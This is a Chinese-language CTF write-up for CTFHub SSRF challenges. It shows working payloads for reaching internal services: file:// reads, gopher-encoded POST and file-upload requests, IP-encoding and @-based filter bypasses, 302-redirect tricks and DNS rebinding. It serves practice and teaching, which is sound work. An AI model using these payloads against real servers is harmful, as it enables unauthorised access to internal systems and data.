第一部分
内网访问
构造payload:
/?url=http://127.0.0.1/flag.php
伪协议读取文件
这里使用file协议,构造payload:
/?url=file:///var/www/html/flag.php
打开源码即得flag
端口扫描
据说端口范围是8000-9000哦。
直接用burpsuite无脑暴力爆破哇,立马得出端口号8293
所以payload:
127.0.0.1:8293
第二部分
POST请求
利用gopher协议来构造Host:127.0.0.1的POST请求。我们首先构造一个最基本的POST请求,也就是说POST请求至少要有以下内容。
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=7b601ee4c4ecd102efebb5b5f5cb277a
注意:Content-Length的值必须和的POST请求的长度一样。
因为是伪造目标机的HTTP请求,故需对其进行URL编码,结果如下。
POST%20%2Fflag.php%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3D7b601ee4c4ecd102efebb5b5f5cb277a
因为在我们构造POST请求时,是以回车 /r 为换行符的,而在HTTP请求头中,是以 /r/n 为换行符的,所以我们需要将 %0A 替换为 %0D%0A,结果如下。
POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D7b601ee4c4ecd102efebb5b5f5cb277a
URL编码的次数取决于请求的次数。因为payload是作为url=的参数传递的,故需对其再进行一次URL编码,结果如下。
POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D7b601ee4c4ecd102efebb5b5f5cb277a
利用gopher协议构造payload如下,成功得到flag。
?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D7b601ee4c4ecd102efebb5b5f5cb277a
上传文件
SSRF,第一步上来先尝试一下127.0.0.1/flag.php
这题尝试利用gopher协议上传文件。
只有得到文件上传的数据包,才能编写gopher的payload。因此我们对这个文件上传的flag.php页面进行F12前端改写,添加一个submit提交按钮(这里与上一题“POST请求”相同,点击提交按钮是得不到flag的,必须从目标机本地访问)
<input type="submit" name="submit">
添加成功,随便上传一个非空的文件,然后抓包,成功得到文件上传的数据包。
修改Host: 127.0.0.1:80后复制,按照上一题的操作步骤,先进行一次URL编码,将 %0A 替换为 %0D%0A 后再进行一次URL编码,最后构造payload如下,成功得到flag。
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A91.0%2529%2520Gecko/20100101%2520Firefox/91.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------14020480503183837623450490631%250D%250AContent-Length%253A%2520620%250D%250AOrigin%253A%2520http%253A//challenge-8ae15e816c94c237.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-8ae15e816c94c237.sandbox.ctfhub.com%253A10800/%253Furl%253D127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------14020480503183837623450490631%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522%25C3%25A6%25C2%2596%25C2%25B0%25C3%25A5%25C2%25BB%25C2%25BA%2520%25C3%25A6%25C2%2596%25C2%2587%25C3%25A6%25C2%259C%25C2%25AC%25C3%25A6%25C2%2596%25C2%2587%25C3%25A6%25C2%25A1%25C2%25A3.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250Aurl%253Dgopher%253A//127.0.0.1%253A80/_POST%25252520%2525252Fflag.php%25252520HTTP%2525252F1.1%2525250D%2525250AHost%2525253A%25252520127.0.0.1%2525250D%2525250AContent-Type%2525253A%25252520application%2525252Fx-www-form-urlencoded%2525250D%2525250AContent-Length%2525253A%2525252036%2525250D%2525250A%2525250D%2525250Akey%2525253D7b3de89f2a15dc8d1f5fb2698e1824a1%250D%250A-----------------------------14020480503183837623450490631%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------14020480503183837623450490631--
FastCGI协议
使用Gopherus脚本构造payload
不知道为什么一直运行不了这个脚本
Redis协议
第三部分
URL
构造payload:
@前面代表密码
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
数字IP
八进制:0177.000.000.001
十进制:127.0.0.1
十六进制:0x7f000001
都可以绕过。
构造payload
?url=0x7f000001/flag.php
302跳转
1.用localhost代替127.0.0.1
2.302跳转
用127.0.0.0/flag.php生成一个短网址 然后再构造payload:即可302跳转
?url=https://ock.cn/ork5o
3.还有个方法。就是写一个php文件:
#302.php
<?php
header("Location:http://127.0.0.1/flag.php");
这里header头的作用就是跳转到指定网站,把他上传到公网上,然后构造payload:
?url=http://[公网IP]/302.php
DNS重绑定
配置一个自定义的恶意DNS服务器,并设定好指定域名的解析IP,再将TTL设置为0,使其解析时在非法内网IP与合法其他IP间反复横跳。我们可以自己编写解析服务,也可以利用测试dns重绑定漏洞的网站,让一个域名随意绑定两个IP。
https://lock.cmpxchg8b.com/rebinder.html
由于127段是回环地址,将AB设置成127.0.0.1和127.0.0.2,每一个都能访问localhost
构造payload
?url=
7f000001.7f000002.rbndr.us/flag.php